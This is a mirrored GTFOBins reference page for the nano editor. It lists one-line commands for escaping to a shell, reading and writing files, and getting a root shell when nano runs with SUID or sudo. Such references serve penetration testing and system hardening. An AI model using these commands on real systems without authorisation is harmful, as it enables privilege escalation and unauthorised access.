This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-07 16:21:32 +01:00
Code
Issues
cf9b07bf7b
GTFOBins.github.io
/
_gtfobins
/
nano.md
Andrea Cardaci
ac68a5864a
Update SUID in nano and pico
2019-04-16 19:11:31 +02:00
704 B
Raw
Blame
History
functions
shell
file-write
file-read
suid
sudo
code
nano ^R^X reset; sh 1>&0 2>&0
description
code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
nano -s /bin/sh /bin/sh ^T
code
nano file_to_write DATA ^O
code
nano file_to_read
description
code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
./nano ^R^X reset; sh 1>&0 2>&0
code
sudo nano ^R^X reset; sh 1>&0 2>&0